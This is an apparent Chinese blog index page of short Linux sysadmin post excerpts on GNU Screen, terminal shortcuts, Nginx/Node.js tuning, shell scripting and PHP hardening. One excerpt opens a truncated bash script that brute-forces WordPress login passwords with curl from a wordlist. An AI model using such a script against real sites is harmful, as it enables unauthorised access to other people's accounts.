类别:
linux
作者:
sunshine / 2015-11-17 06:55 Tuesday
一、背景
系统管理员经常需要SSH 或者telent 远程登录到Linux 服务器,经常运行一些需要很长时间才能完成的任务,比如系统备份、ftp
传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口,因为它们执行的时间太长了。必须等待它们执行完毕,在此期间不能关掉窗口或者断开连接,否则这个任务就会被杀掉,一切半途而废了。
二、简介
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
- 只要Screen本身没有终止,在其内部运行的会话都可以恢复。这一...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-9-18 22:06 Wednesday
xshell下使用vim的编辑一个文件,保存的时候习惯性的按了Ctrl+S 结构悲剧了。屏幕锁死了。按其他键都没有反应,exc也不行。
经过问度娘才知道。
原来Ctrl+S在Linux里,是锁定屏幕的快捷键。如果要解锁,按下Ctrl+Q就可以了。
现在让我记牢点这两个组合键Ctrl+S和Ctrl+Q。
阅读全文>>
类别:
linux
作者:
sunshine / 2013-9-11 08:06 Wednesday
今天用xshell登录管理我的机器是。想看看都谁在服务器上于是乎输入#w。靠居然出错。
#w
#70 colunn windows is too narrow
#
字面的大概意思是窗口太窄,于是乎,最大化窗口ok。
迎刃而解。
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-11 06:23 Tuesday
WordPress后台密码暴力破解程序,请先确认机器已安装curl
#!/bin/bash
#by leo108
#使用方式:./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh leo 1.txt http://xxx.com/wp-login.php 15
user=$1
zidian=$2
url=$3
thread=$4
function guess {
curl -s -d "log=$user&pwd=$1" $url >> $1.html
l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-1-30 18:16 Wednesday
如果不先对Nginx和Node.js的底层传输机制有所了解,并进行针对性优化,可能对两者再细致的调优也会徒劳无功。一般情况下,Nginx通过TCP socket来连接客户端与上游应用。
在搭建高吞吐量web应用这个议题上,NginX和Node.js可谓是天生一对。他们都是基于事件驱动模型而设计,可以轻易突破
Apache等传统web服务器的C10K瓶颈。预设的配置已经可以获得很高的并发,不过,要是大家想在廉价硬件上做到每秒数千以上的请求,还是有一些工
作要做的。
这篇文章假定读者们使用NginX的HttpProxyModule来为上游的node.js服务器充当反向代理。我们将介绍Ubuntu
10.04以上系统sysctl的调优,以及node.js应用与...
阅读全文>>
类别:
linux
作者:
sunshine / 2012-8-22 09:52 Wednesday
我们可以使用任意一种文字编辑器,比如gedit、kedit、emacs、vi等来编写shell脚本,它必须以如下行开始(必须放在文件的第一行):
#!/bin/sh
...
注意:最好使用“!/bin/bash”而不是“!/bin/sh”,如果使用tc shell改为tcsh,其他类似。
符号#!用来告诉系统执行该脚本的程序,本例使用/bin/sh。编辑结束并保存后,如果要执行该脚本,...
阅读全文>>
类别:
win_lin_mac
作者:
sunshine / 2012-5-23 17:16 Wednesday
安全,PHP代码编写是一方面,PHP的配置更是非常关键。
我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全。整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我...阅读全文>>
类别:
linux
作者:
sunshine / 2012-3-10 03:48 Saturday
#!/bin/sh
showmsg () {
NO3_var=$3
NO4_var=$4
if [ ! "$NO3_var" ]; then
NO3_var=$color_yellow
fi
if [ ! "$NO4_var" ]; then
NO4_var=$color_white
fi
阅读全文>>